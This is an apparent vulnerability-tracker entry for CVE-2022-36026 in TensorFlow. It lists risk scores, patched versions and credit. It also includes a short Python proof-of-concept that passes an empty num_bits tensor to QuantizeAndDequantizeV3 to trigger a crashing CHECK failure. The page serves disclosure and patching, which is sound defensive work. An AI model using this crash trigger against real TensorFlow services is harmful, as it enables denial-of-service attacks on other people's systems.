CVE-2022-36026Medium· 5.9▾ SunlitTensorFlow vulnerable to `CHECK` fail in `QuantizeAndDequantizeV3`
▾ Sunlit zone — Low / medium · no exploitation signal
impact 32.5 · likelihood 0.1 · exploitation 0
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Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.4%
0.4% → 0.5%
If QuantizeAndDequantizeV3 is given a nonscalar num_bits input tensor, it results in a CHECK fail that can be used to trigger a denial of service attack.
import tensorflow as tf
signed_input = True
range_given = False
narrow_range = False
axis = -1
input = tf.constant(-3.5, shape=[1], dtype=tf.float32)
input_min = tf.constant(-3.5, shape=[1], dtype=tf.float32)
input_max = tf.constant(-3.5, shape=[1], dtype=tf.float32)
num_bits = tf.constant([], shape=[0], dtype=tf.int32)
tf.raw_ops.QuantizeAndDequantizeV3(input=input, input_min=input_min, input_max=input_max, num_bits=num_bits, signed_input=signed_input, range_given=range_given, narrow_range=narrow_range, axis=axis)
We have patched the issue in GitHub commit f3f9cb38ecfe5a8a703f2c4a8fead434ef291713.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
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This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
tensorflow < 2.7.2tensorflow >= 2.8.0, < 2.8.1tensorflow >= 2.9.0, < 2.9.1tensorflow-cpu < 2.7.2tensorflow-cpu >= 2.8.0, < 2.8.1tensorflow-cpu >= 2.9.0, < 2.9.1tensorflow-gpu < 2.7.2tensorflow-gpu >= 2.8.0, < 2.8.1tensorflow-gpu >= 2.9.0, < 2.9.1Upgrade to a patched release:
tensorflow 2.7.2tensorflow 2.8.1tensorflow 2.9.1tensorflow-cpu 2.7.2tensorflow-cpu 2.8.1tensorflow-cpu 2.9.1tensorflow-gpu 2.7.2tensorflow-gpu 2.8.1tensorflow-gpu 2.9.1Connected by shared product, vendor, weakness, or advisory.
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